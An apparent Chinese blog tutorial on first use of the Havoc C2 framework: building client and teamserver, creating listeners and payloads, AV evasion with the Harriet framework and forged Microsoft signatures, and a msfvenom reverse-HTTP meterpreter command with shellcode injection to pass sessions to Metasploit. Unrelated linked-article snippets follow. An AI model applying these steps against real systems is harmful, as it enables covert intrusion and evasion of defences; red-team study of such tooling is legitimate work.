Havoc C2d的初次使用
Havoc C2
简介
Havoc是一款现代化的、可扩展的后渗透命令控制框架
当前的Havoc版本还处于早期开发版,随着框架的不断成熟,可能会对Havoc的API和核心结构进行大量更改

以下的配置部分只做简单记录,具体细节还是自己去 Wiki指南 查看, 记得给作者一个
- 传送门:项目地址
安装
依赖
更新kali之后设置依赖项
apt update -y && apt upgrade -y
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev libspdlog-dev python3-dev libboost-all-dev mingw-w64 nasm
客户端
进入client里面,编译运行就可以了
cd Havoc/Client
proxychains make
./Havoc
编译前一定还是要配置好上面的依赖,如果缺了就会像这样,这种报错就是缺什么补什么,但像这里缺的spdlog,解决的办法就是下这个包apt-get install libspdlog-dev

编译好会生成Havoc, 赋权运行就会出现连接界面

服务端
他的服务端是go实现的,接着配置依赖。最好设代理,反正我扶墙是下不下来
export GOPROXY=https://goproxy.io
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
如果是新环境就快速配置一下go吧
wget -c https://studygolang.com/dl/golang/go1.19.5.linux-amd64.tar.gz
tar -zxvf go1.19.5.linux-amd64.tar.gz -C /usr/local
vim ~/.profile
export PATH=$PATH:usr/local/go/bin
source ~/.profile
go version
编译之后可以先修改配置文件再运行 ,不改的话就按照他原始的账密连接:5spider:password1234
cd Teamserver
./Install.sh
make
vim profiles/havoc.yaotl

开启服务端
./teamserver server --profile ./profiles/havoc.yaotl -v --debug

连接上了就可以开始探索了

基本使用
监听
新建监听器View -> Listeners -> Add,他这里还多了设置header的地方,其他基本和cs差不多。这里用的ip后续可以利用cloudfare进行隐匿

生成&上线
操作和cs很相似,菜单栏上Attack -> Payload,payload种类目前只有exe和dll
当前的waitforsingleobjectex是无混淆的。其他选项如ekko使用 Win32 API进行混淆 。config也是可以按照Wiki的解释进行修改

生成之后感觉他裸奔过defender没什么希望就没有马上去上线(作者过了三个多月都没更新),先去试了下面的免杀框架。回来试这个的时候很。defender,360,火绒动静均无感。但是不知道是不是这个的原因这个时候桌面上很多系统应用都打不开了,重启之后发现我kde没了???

免杀
尝试了Wiki中提到的这个免杀框架 harriet ,他使用SigThief使用伪造的Microsoft证书对二进制文件进行签名
cd Home-Grown-Red-Team/Harriet
bash setup.sh
bash Harriet.sh

提前用havoc生成bin格式的shell,在这里设置好路径和名称,就会在当前目录下生成

没有添加信任静态,静态360和火绒都可以过

动态同样无感

原始的exe为27/71,混淆后的查杀结果如下:

派生会话
模块功能上havoc还不够成熟,体系也还有待完善。转移会话进行利用就很有必要了,这点也在havoc里实现了:
派生至msf
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=192.168.130.5 LPORT=9999 -f raw > /home/kali/Desktop/msftest.bin
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_http
set lhost 192.168.130.5
set lport 9999
在havoc上执行,其中6940为当前的pid
shellcode inject x64 6940 /home/kali/Desktop/msftest.bin

派生至cs
cs同样操作,只需要生成并指定bin格式payload的路径即可

其他的一些后渗透命令还有很多就不一个个试了,练靶场的时候会再详细记录

Havoc C2d的初次使用的更多相关文章
- HashTable初次体验
用惯了数组.ArryList,初次接触到HashTable.Dictionary这种字典储存对于我来说简直就是高大上. 1.到底什么是HashTable HashTable就是哈希表,和数组一样,是一 ...
- 初次启动app校验的活动图和分析
初次启动活动图 version 1 version 2 version 3 根据上图的活动图分析,可能存在较严重的问题: 主线程中如果发现是sdcard的url,则可能进行重命名 FirstEnter ...
- 百度地图API试用--(初次尝试)
2016-03-17: 百度地图API申请key的步骤相对简单,不做过多阐述. 初次使用百度地图API感觉有点神奇,有些功能加进来以后有点问题,注释掉等有空再解决. 代码如下: <%@ page ...
- [masmplus]初次使用报external symbol _start 是配置问题
初次使用masmplus 其中在 codesg segment 使用了 start 标记, 并在end处标明了:end start 但是默认的masmplus 会提示 start 为 不认识的 e ...
- 初次接触json...
这两天发现很多网站显示图片版块都用了瀑布流模式布局的:随着页面滚动条向下滚动,这种布局还会不断加载数据并附加至当前尾部.身为一个菜鸟级的程序员,而且以后可能会经常与网站打交道,我觉得我还是很有必要去尝 ...
- Zookeeper初次使用
下面介绍Linux系统中Zookeeper的初次使用方法. 1.jdk安装和zookeeper下载 首先从jdk官网中下载jdk文件,然后将文件放在/usr/local/java目录下解压,并打开.b ...
- 初次使用IDEA的相关技巧
前言:由于初次使用IDEA,所以很多配置都不是非常熟悉,经过一下午慢慢熟悉和同事的帮助,终于有所斩获,现在我把这个总结写出来,希望能够帮助初次使用的java工程师. 1:下载和安装 下载地址:http ...
- 20145330《Java学习笔记》第一章课后练习8知识总结以及IDEA初次尝试
20145330<Java学习笔记>第一章课后练习8知识总结以及IDEA初次尝试 题目: 如果C:\workspace\Hello\src中有Main.java如下: package cc ...
- 关于初次使用Verilog HDL语言需要懂的基本语法
关于初次使用Verilog HDL语言需要懂的基本语法 1.常量 数字表达式全面的描述方式为:<位宽><进制><数字> 8’b10101100,表示位宽为8的二进制 ...
- 初次使用Docker的体验笔记
一.前言 Docker容器已经发布许久,但作为一名程序员如今才开始接触,实在是罪过-- 在此之前,我还没有对Docker进行过深入的了解,对它的认识仍停留在:这是一种新型的虚拟机.这样的 ...
随机推荐
- Solution -「NOI 2020」时代的眼泪
Description Link. 给出一个二维平面以及一些点,保证点不在同行 / 同列.每次询问求出一个子矩阵里面的顺序对. Solution 卡常,卡你吗. 膜拜 dX. 基本是把 dX 的题解贺 ...
- Solution -「BZOJ 3771」Triple
Description Link. 给你一个序列,你每次可以取 \(1\sim3\) 个数然后计算和,问你对于每一种和,方案数是多少. Solution 设一个 OGF \(A(x)=\sum_{i= ...
- Blazor Server 发起HttpPost请求,但是多参数
一.介绍 今天突然想起之前工作上遇到的一个问题,在做Blazor 开发时后端给的一个接口请求方式是Post ,但是他需要携带多个参数,新建一个公共类又觉得麻烦,我就尝试着怎么在Post请求中携带多个参 ...
- 6. 用Rust手把手编写一个wmproxy(代理,内网穿透等), 通讯协议源码解读篇
用Rust手把手编写一个wmproxy(代理,内网穿透等), 通讯协议源码解读篇 项目 ++wmproxy++ gite: https://gitee.com/tickbh/wmproxy githu ...
- 文心一言 VS 讯飞星火 VS chatgpt (112)-- 算法导论10.2 3题
三.用go语言,用一个单链表L实现一个队列.要求操作 ENQUEUE 和 DEQUEUE 的运行时间仍为O(1). 文心一言: 在 Go 语言中,使用单链表实现队列的操作,包括入队(ENQUEUE)和 ...
- Kubernetes:kube-apiserver 之启动流程(一)
0. 前言 前面两篇文章 Kubernetes:kube-apiserver 之 scheme(一) 和 Kubernetes:kube-apiserver 之 scheme(二) 重点介绍了 kub ...
- [学习笔记]TypeScript查缺补漏(二):类型与控制流分析
@ 目录 类型约束 基本类型 联合类型 控制流分析 instanceof和typeof 类型守卫和窄化 typeof判断 instanceof判断 in判断 内建函数,或自定义函数 赋值 布尔运算 保 ...
- 服务器没有开放3306端口 远程访问MySQL数据库方法
一.前言 当装有MySQL的服务器为了防止数据库被黑,提高安全性,把3306端口禁止掉,禁止对外访问,我之前写过一篇是借助跳板机的SSH隧道来访问实现安全,这种情况依然需要开放3306端口和使用一 ...
- JVM-JVM如何加载类
一.Java 语言的类型可以分为两大类: 基本类型(primitive types) 引用类型(reference types):类.接口.数组类和泛型参数(泛型参数会在编译中被擦除),因此Java虚 ...
- JUC并发编程学习笔记(九)阻塞队列
阻塞队列 阻塞 队列 队列的特性:FIFO(fist inpupt fist output)先进先出 不得不阻塞的情况 什么情况下会使用阻塞队列:多线程并发处理.线程池 学会使用队列 添加.移除 四组 ...